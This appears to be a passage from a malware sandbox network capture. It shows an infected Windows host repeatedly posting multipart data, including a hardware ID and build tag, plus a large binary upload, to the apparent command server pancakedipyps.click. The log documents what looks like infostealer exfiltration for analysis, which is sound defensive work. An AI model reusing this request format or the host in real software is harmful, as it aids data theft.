2024-12-23 16:18:29 UTC	1369	IN	Data Raw: 6d 34 6f 79 41 6b 56 51 6a 56 31 67 69 63 4b 50 4a 73 7a 6b 51 55 36 31 38 47 67 2b 34 7a 75 53 37 6e 6d 45 57 63 38 2b 6c 48 56 2f 65 6a 4c 57 77 64 57 74 33 44 53 38 70 6d 31 32 72 56 54 78 36 70 5a 77 43 4a 36 7a 2b 73 59 2f 7a 45 56 74 7a 38 34 41 59 46 76 65 35 69 4a 42 78 51 6b 70 59 49 39 58 2f 54 4c 65 39 45 45 4b 64 74 45 38 33 2f 65 72 59 75 2f 39 6f 63 68 4c 54 6f 44 77 71 79 6f 53 31 75 46 55 33 59 77 6b 44 4b 61 38 70 67 33 6b 63 53 6f 57 41 49 67 2b 51 38 70 6d 58 7a 30 46 7a 64 2f 71 56 4a 54 37 43 32 62 44 78 62 66 4e 58 43 52 63 73 71 37 57 7a 55 53 52 6d 2f 4b 68 72 44 2b 58 53 6f 59 72 69 4f 48 4e 44 39 35 51 77 46 73 36 34 72 61 52 35 4c 31 63 31 46 77 32 4c 57 61 4e 35 4c 46 36 52 73 42 59 72 6b 4d 62 31 72 38 64 70 51 6e 4c 71 6c 41 Data Ascii: m4oyAkVQjV1gicKPJszkQU618Gg+4zuS7nmEWc8+lHV/ejLWwdWt3DS8pm12rVTx6pZwCJ6z+sY/zEVtz84AYFve5iJBxQkpYI9X/TLe9EEKdtE83/erYu/9ochLToDwqyoS1uFU3YwkDKa8pg3kcSoWAIg+Q8pmXz0Fzd/qVJT7C2bDxbfNXCRcsq7WzUSRm/KhrD+XSoYriOHND95QwFs64raR5L1c1Fw2LWaN5LF6RsBYrkMb1r8dpQnLqlA
2024-12-23 16:18:29 UTC	1369	IN	Data Raw: 31 4a 42 78 45 6b 70 59 49 7a 57 48 4b 59 64 52 4f 45 36 39 69 41 6f 50 74 50 36 6c 6c 2f 39 46 61 30 66 7a 6f 41 67 79 32 71 69 5a 32 47 45 50 59 77 30 4b 45 4a 70 68 6f 77 67 64 47 36 55 30 4a 70 50 41 76 76 58 69 34 79 52 4c 46 74 4f 49 4c 54 2b 2f 75 4c 32 73 53 52 39 72 47 52 38 74 73 31 6d 6e 63 53 68 75 6d 59 42 65 46 37 6a 6d 6b 59 66 50 45 58 4e 48 77 36 51 4d 48 76 4b 52 73 4b 6c 74 50 79 6f 34 51 68 46 33 56 59 4e 70 45 43 4f 6c 31 53 35 53 67 4d 36 4d 75 6f 4a 5a 51 30 76 54 71 43 77 4f 38 70 69 31 6f 46 55 2f 58 78 30 44 4d 65 74 6c 72 30 6b 59 51 70 6d 73 42 69 4f 55 77 71 47 72 2b 32 52 79 53 74 4f 49 66 54 2b 2f 75 41 30 4d 75 43 76 50 30 43 4e 73 6d 77 53 2f 64 53 31 37 78 4b 67 6d 4f 37 44 79 67 61 50 48 61 56 74 58 2f 36 51 77 4c 75 36 Data Ascii: 1JBxEkpYIzWHKYdROE69iAoPtP6ll/9Fa0fzoAgy2qiZ2GEPYw0KEJphowgdG6U0JpPAvvXi4yRLFtOILT+/uL2sSR9rGR8ts1mncShumYBeF7jmkYfPEXNHw6QMHvKRsKltPyo4QhF3VYNpECOl1S5SgM6MuoJZQ0vTqCwO8pi1oFU/Xx0DMetlr0kYQpmsBiOUwqGr+2RyStOIfT+/uA0MuCvP0CNsmwS/dS17xKgmO7DygaPHaVtX/6QwLu6
2024-12-23 16:18:29 UTC	1369	IN	Data Raw: 53 64 50 49 57 73 4e 68 79 6d 48 58 53 42 61 68 59 77 53 4a 35 54 6d 70 59 76 4c 58 57 39 4c 36 37 55 64 42 39 36 6b 30 4a 45 4d 49 38 39 35 54 31 6e 37 56 54 74 64 49 58 72 59 6b 48 4d 33 6e 4f 4f 38 32 75 4e 39 4f 32 50 6e 33 44 67 69 35 6f 53 39 32 47 6b 58 5a 33 45 2f 4c 62 4e 39 6a 33 45 67 59 71 47 38 50 67 65 63 78 70 47 48 30 6c 68 4b 63 38 2f 31 48 56 2f 65 41 4a 33 63 4d 53 39 7a 46 58 74 38 6f 78 79 48 44 42 78 6d 6c 4b 6c 33 4e 34 7a 2b 6b 61 76 6a 61 58 4e 6a 35 35 52 55 41 73 4b 6b 6c 62 77 6c 43 31 63 6c 44 7a 47 50 58 61 63 68 4c 45 4c 74 76 46 35 2b 67 65 75 39 70 34 4a 59 45 6e 4d 4c 69 46 78 2b 30 37 42 31 79 47 46 37 5a 77 30 53 45 64 35 5a 32 6d 6b 41 53 36 54 4a 46 69 2b 38 39 72 47 48 35 33 31 44 52 38 65 77 43 44 72 47 71 4a 6d 34 Data Ascii: SdPIWsNhymHXSBahYwSJ5TmpYvLXW9L67UdB96k0JEMI895T1n7VTtdIXrYkHM3nOO82uN9O2Pn3Dgi5oS92GkXZ3E/LbN9j3EgYqG8PgecxpGH0lhKc8/1HV/eAJ3cMS9zFXt8oxyHDBxmlKl3N4z+kavjaXNj55RUAsKklbwlC1clDzGPXachLELtvF5+geu9p4JYEnMLiFx+07B1yGF7Zw0SEd5Z2mkAS6TJFi+89rGH531DR8ewCDrGqJm4
2024-12-23 16:18:29 UTC	1369	IN	Data Raw: 6c 65 4b 63 5a 68 6f 31 67 64 47 36 57 6b 43 6a 75 45 2b 70 6d 4c 33 30 56 6a 4f 2f 75 49 56 44 72 61 6c 49 57 67 62 52 64 2f 45 53 63 31 6c 31 47 4c 64 51 42 47 73 4b 6b 76 4e 35 79 7a 76 4e 72 6a 33 55 64 66 34 76 6c 31 50 71 4f 41 31 4a 42 78 45 6b 70 59 49 78 47 4c 64 5a 64 64 45 45 61 70 34 42 49 76 79 4e 4b 4a 6b 36 74 78 58 32 66 6e 6f 43 67 79 78 71 43 64 6f 43 55 48 53 7a 55 4f 45 4a 70 68 6f 77 67 64 47 36 55 6b 53 6d 2b 6f 7a 6f 33 6a 7a 31 31 2f 4b 2b 66 56 48 51 66 65 2f 4b 33 56 62 45 4d 54 65 58 38 4e 33 6c 6e 61 61 51 42 4c 70 4d 6b 57 4c 36 54 4b 6f 61 50 62 45 57 64 72 37 36 67 34 47 73 36 59 76 5a 42 39 4d 31 63 74 4c 79 47 50 66 62 4e 56 44 46 36 64 6a 43 73 32 75 64 4b 68 32 75 49 34 63 2f 65 2f 6d 43 77 4c 33 73 57 4a 39 57 30 2f 65 Data Ascii: leKcZho1gdG6WkCjuE+pmL30VjO/uIVDralIWgbRd/ESc1l1GLdQBGsKkvN5yzvNrj3Udf4vl1PqOA1JBxEkpYIxGLdZddEEap4BIvyNKJk6txX2fnoCgyxqCdoCUHSzUOEJphowgdG6UkSm+ozo3jz11/K+fVHQfe/K3VbEMTeX8N3lnaaQBLpMkWL6TKoaPbEWdr76g4Gs6YvZB9M1ctLyGPfbNVDF6djCs2udKh2uI4c/e/mCwL3sWJ9W0/e
2024-12-23 16:18:29 UTC	1369	IN	Data Raw: 69 41 4c 2f 70 4d 43 4b 78 74 45 38 2f 56 4e 36 46 67 2f 38 41 63 77 38 75 72 52 77 43 74 37 6e 52 64 41 67 6a 56 77 67 69 63 4b 4d 31 6f 32 6b 41 45 76 32 30 4a 6e 4f 73 35 6f 30 7a 33 30 55 72 66 2b 2b 59 57 42 76 75 6c 49 53 52 56 43 4e 58 57 43 4a 77 6f 39 32 6a 4d 52 44 47 71 65 77 7a 4e 72 6e 53 6f 65 4c 69 4f 48 4f 4b 30 39 77 51 66 74 4b 45 39 57 6c 73 51 79 2f 41 49 7a 33 37 66 66 39 6c 52 46 61 52 6d 46 4c 4f 67 62 50 73 38 71 6f 51 4f 6a 75 75 6c 47 44 44 35 37 69 30 6b 51 33 48 4c 6a 6c 36 45 4d 49 6f 68 6d 6c 56 65 38 53 70 43 6a 76 49 6d 71 57 33 75 31 52 76 69 79 73 49 52 42 62 43 2b 4b 33 4d 55 43 4a 79 4f 52 34 51 77 34 53 2f 54 51 41 57 34 66 41 69 64 35 33 53 51 49 4c 6a 4f 48 49 53 30 30 41 51 42 75 61 6b 36 64 56 5a 76 78 4d 52 50 31 Data Ascii: iAL/pMCKxtE8/VN6Fg/8Acw8urRwCt7nRdAgjVwgicKM1o2kAEv20JnOs5o0z30Urf++YWBvulISRVCNXWCJwo92jMRDGqewzNrnSoeLiOHOK09wQftKE9WlsQy/AIz37ff9lRFaRmFLOgbPs8qoQOjuulGDD57i0kQ3HLjl6EMIohmlVe8SpCjvImqW3u1RviysIRBbC+K3MUCJyOR4Qw4S/TQAW4fAid53SQILjOHIS00AQBuak6dVZvxMRP1
2024-12-23 16:18:29 UTC	1369	IN	Data Raw: 58 53 46 4b 6e 59 51 57 4b 38 43 4b 30 49 76 44 56 52 73 62 4b 32 79 77 44 73 61 6b 32 59 78 31 75 38 6f 34 47 68 47 65 59 4e 2b 4d 48 56 75 6c 56 53 38 33 34 64 50 63 75 7a 64 56 53 30 76 50 7a 46 6b 4b 66 6a 52 5a 65 57 57 54 56 32 77 72 77 62 38 68 2b 30 55 6f 53 36 53 52 46 69 36 42 73 2f 79 43 34 30 6b 32 63 72 4c 56 56 56 4f 4c 39 65 7a 52 4a 56 35 7a 58 43 4e 49 6f 67 44 32 55 42 77 7a 70 4d 6b 58 4b 34 79 61 39 61 50 76 41 58 35 76 4b 32 79 41 42 73 4b 38 36 64 41 78 48 37 50 42 64 78 32 62 57 61 4d 78 57 58 75 63 71 43 73 32 34 44 65 38 6d 75 4f 6b 53 6e 4f 79 6c 58 30 2b 43 72 53 4a 71 48 46 37 44 67 32 2f 4b 62 39 6c 35 79 6c 41 52 36 53 52 46 69 36 42 73 2f 53 43 34 30 6b 32 63 72 4c 56 56 56 4f 4c 39 65 7a 52 4a 56 35 7a 58 43 4e 49 6f 67 44 Data Ascii: XSFKnYQWK8CK0IvDVRsbK2ywDsak2Yx1u8o4GhGeYN+MHVulVS834dPcuzdVS0vPzFkKfjRZeWWTV2wrwb8h+0UoS6SRFi6Bs/yC40k2crLVVVOL9ezRJV5zXCNIogD2UBwzpMkXK4ya9aPvAX5vK2yABsK86dAxH7PBdx2bWaMxWXucqCs24De8muOkSnOylX0+CrSJqHF7Dg2/Kb9l5ylAR6SRFi6Bs/SC40k2crLVVVOL9ezRJV5zXCNIogD
2024-12-23 16:18:29 UTC	1369	IN	Data Raw: 72 69 67 6c 69 76 59 33 37 79 43 34 32 68 79 45 74 4f 51 4e 48 37 71 68 4b 79 67 63 55 74 57 4f 42 6f 52 6d 6d 44 65 61 52 68 53 35 5a 77 71 4b 72 44 4b 68 59 4c 6a 4a 45 73 57 30 38 30 64 58 35 4f 42 73 64 6c 73 51 6b 6f 6c 4c 31 6e 72 65 62 4d 78 45 57 5a 64 55 4b 4a 2f 6e 4a 4b 77 73 79 64 74 59 79 75 48 6d 46 77 69 4a 6b 41 46 32 48 46 6a 52 6a 48 6e 53 61 39 68 68 33 51 64 51 36 58 4a 46 31 61 41 5a 76 57 6e 6f 31 52 79 53 74 4f 6c 48 56 2f 65 6a 50 6d 4d 4c 53 35 37 4a 55 73 4d 6f 78 79 48 44 42 77 6a 70 4d 6c 62 44 6f 43 62 76 4e 72 69 52 55 74 48 31 35 67 6b 4d 70 62 77 71 5a 77 31 4c 6c 66 42 32 36 58 72 66 66 39 6b 46 4c 36 52 75 45 35 6a 6a 4a 4b 68 51 78 76 74 4f 32 2b 54 6d 52 53 4f 77 6f 79 42 61 4a 58 2f 44 79 56 69 47 54 74 74 35 32 51 64 Data Ascii: riglivY37yC42hyEtOQNH7qhKygcUtWOBoRmmDeaRhS5ZwqKrDKhYLjJEsW080dX5OBsdlsQkolL1nrebMxEWZdUKJ/nJKwsydtYyuHmFwiJkAF2HFjRjHnSa9hh3QdQ6XJF1aAZvWno1RyStOlHV/ejPmMLS57JUsMoxyHDBwjpMlbDoCbvNriRUtH15gkMpbwqZw1LlfB26Xrff9kFL6RuE5jjJKhQxvtO2+TmRSOwoyBaJX/DyViGTtt52Qd

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.9	49844	172.67.209.202	443

Timestamp	Bytes transferred	Direction	Data
2024-12-23 16:18:34 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=BF3MLWWFB3I3NG4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12826 Host: pancakedipyps.click
2024-12-23 16:18:34 UTC	12826	OUT	Data Raw: 2d 2d 42 46 33 4d 4c 57 57 46 42 33 49 33 4e 47 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 42 42 30 39 36 39 42 35 33 41 42 32 38 39 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 42 46 33 4d 4c 57 57 46 42 33 49 33 4e 47 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 42 46 33 4d 4c 57 57 46 42 33 49 33 4e 47 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 42 46 33 4d 4c 57 Data Ascii: --BF3MLWWFB3I3NG4Content-Disposition: form-data; name="hwid"EBB0969B53AB2898AC8923850305D13E--BF3MLWWFB3I3NG4Content-Disposition: form-data; name="pid"2--BF3MLWWFB3I3NG4Content-Disposition: form-data; name="lid"FATE99--test--BF3MLW
2024-12-23 16:18:35 UTC	1134	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a1b374a8tb6els17su4i6978c5; expires=Fri, 18 Apr 2025 10:05:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v9prijEqXxloeCJtKLW%2BfKPv6P304qLxpzwiEVkgPsWCs%2BPZXw51zNtG2HTK06RzHBjw8H4J%2FXL4mioPAX2wDGedVNLebMPt55whMnUvrL8s5164%2FPujqQy8%2Ffm1sGVHStNbsSf3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f69ab1579784238-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2062&min_rtt=2059&rtt_var=779&sent=12&recv=17&lost=0&retrans=0&sent_bytes=2848&recv_bytes=13766&delivery_rate=1397797&cwnd=244&unsent_bytes=0&cid=e473b8e75a34b451&ts=1336&x=0"
2024-12-23 16:18:35 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 16:18:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.9	49849	172.67.209.202	443

Timestamp	Bytes transferred	Direction	Data
2024-12-23 16:18:37 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MAPC4QBP8K2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15020 Host: pancakedipyps.click
2024-12-23 16:18:37 UTC	15020	OUT	Data Raw: 2d 2d 4d 41 50 43 34 51 42 50 38 4b 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 42 42 30 39 36 39 42 35 33 41 42 32 38 39 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4d 41 50 43 34 51 42 50 38 4b 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4d 41 50 43 34 51 42 50 38 4b 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 4d 41 50 43 34 51 42 50 38 4b 32 0d 0a 43 6f 6e 74 65 Data Ascii: --MAPC4QBP8K2Content-Disposition: form-data; name="hwid"EBB0969B53AB2898AC8923850305D13E--MAPC4QBP8K2Content-Disposition: form-data; name="pid"2--MAPC4QBP8K2Content-Disposition: form-data; name="lid"FATE99--test--MAPC4QBP8K2Conte
2024-12-23 16:18:38 UTC	1129	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=oindkh81h6tuvtkmc2phkahqvm; expires=Fri, 18 Apr 2025 10:05:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NOxpG%2F0SfBVqs36r1zJV7J5haixjlaMQqleEfLBgQHM4tIAFDB3590LOUWBNdaHwlOeSP6qMEhFOmtJEzHaHXdPt%2BOv1asooMKgcVBX3c1deE94u07FTypjQ3lcYB7%2B6bmtceJUW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f69ab275fe743c8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1665&min_rtt=1663&rtt_var=628&sent=6&recv=19&lost=0&retrans=0&sent_bytes=2847&recv_bytes=15956&delivery_rate=1734997&cwnd=192&unsent_bytes=0&cid=1a85e6df925e0409&ts=1001&x=0"
2024-12-23 16:18:38 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 16:18:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.9	49853	172.67.209.202	443

Timestamp	Bytes transferred	Direction	Data
2024-12-23 16:18:39 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=QG66C8AHH5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20530 Host: pancakedipyps.click
2024-12-23 16:18:39 UTC	15331	OUT	Data Raw: 2d 2d 51 47 36 36 43 38 41 48 48 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 42 42 30 39 36 39 42 35 33 41 42 32 38 39 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 51 47 36 36 43 38 41 48 48 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 51 47 36 36 43 38 41 48 48 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 51 47 36 36 43 38 41 48 48 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 Data Ascii: --QG66C8AHH5Content-Disposition: form-data; name="hwid"EBB0969B53AB2898AC8923850305D13E--QG66C8AHH5Content-Disposition: form-data; name="pid"3--QG66C8AHH5Content-Disposition: form-data; name="lid"FATE99--test--QG66C8AHH5Content-D
2024-12-23 16:18:39 UTC	5199	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 73 7d 51 30 b7 ee a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 ae 3f 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce f5 45 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 fe 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a d7 17 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 fa a3 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: s}Q0u?4E([:s~X`nO
2024-12-23 16:18:40 UTC	1133	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t99hv5n44s0mmojvee2c4ck0a5; expires=Fri, 18 Apr 2025 10:05:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dG0rrQ5kgQ71Gbx4zdyaMi%2BMopbb6%2FXkphWcWhFjGC0IOlma84Kubz6Ly2lGCz3rNg8Zvs3tWB%2F9FYyZGWk1pWzHif%2FgQWKclQAduzCIwXiT4wtbGmeNtZOs%2BTlBKT0UesqMR92r"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f69ab36ae427280-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1767&min_rtt=1761&rtt_var=672&sent=16&recv=27&lost=0&retrans=0&sent_bytes=2848&recv_bytes=21487&delivery_rate=1614151&cwnd=247&unsent_bytes=0&cid=5a434e01ab1b246c&ts=970&x=0"
2024-12-23 16:18:40 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 16:18:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.9	49858	172.67.209.202	443

Timestamp	Bytes transferred	Direction	Data
2024-12-23 16:18:42 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0US2JBKUO9UZW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1284 Host: pancakedipyps.click
2024-12-23 16:18:42 UTC	1284	OUT	Data Raw: 2d 2d 30 55 53 32 4a 42 4b 55 4f 39 55 5a 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 42 42 30 39 36 39 42 35 33 41 42 32 38 39 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 30 55 53 32 4a 42 4b 55 4f 39 55 5a 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 30 55 53 32 4a 42 4b 55 4f 39 55 5a 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 30 55 53 32 4a 42 4b 55 4f 39 55 5a Data Ascii: --0US2JBKUO9UZWContent-Disposition: form-data; name="hwid"EBB0969B53AB2898AC8923850305D13E--0US2JBKUO9UZWContent-Disposition: form-data; name="pid"1--0US2JBKUO9UZWContent-Disposition: form-data; name="lid"FATE99--test--0US2JBKUO9UZ
2024-12-23 16:18:42 UTC	1130	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pagsfcn6q9b5n312mjb3k81u64; expires=Fri, 18 Apr 2025 10:05:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rHFHVx2OiNY%2FEIZ%2BzCMfkhlFMn7d2U7cK9S7ty0AZ9EiB1hfEhdcrwWhZTpFUNn405NAd0HH8QJOVXN8xO7WfMBmuNs6N3M%2B%2FjLKyDpZAct%2BsiR0tPzRvmh3TfeYrLJ40tDD4Jlg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f69ab46cc22440b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1841&min_rtt=1818&rtt_var=728&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2849&recv_bytes=2199&delivery_rate=1457085&cwnd=227&unsent_bytes=0&cid=48291a192353658b&ts=778&x=0"
2024-12-23 16:18:42 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 16:18:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.9	49867	172.67.209.202	443

Timestamp	Bytes transferred	Direction	Data
2024-12-23 16:18:46 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=T8OXZACYOVRSYBPP4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 587238 Host: pancakedipyps.click
2024-12-23 16:18:46 UTC	15331	OUT	Data Raw: 2d 2d 54 38 4f 58 5a 41 43 59 4f 56 52 53 59 42 50 50 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 42 42 30 39 36 39 42 35 33 41 42 32 38 39 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 54 38 4f 58 5a 41 43 59 4f 56 52 53 59 42 50 50 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 54 38 4f 58 5a 41 43 59 4f 56 52 53 59 42 50 50 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 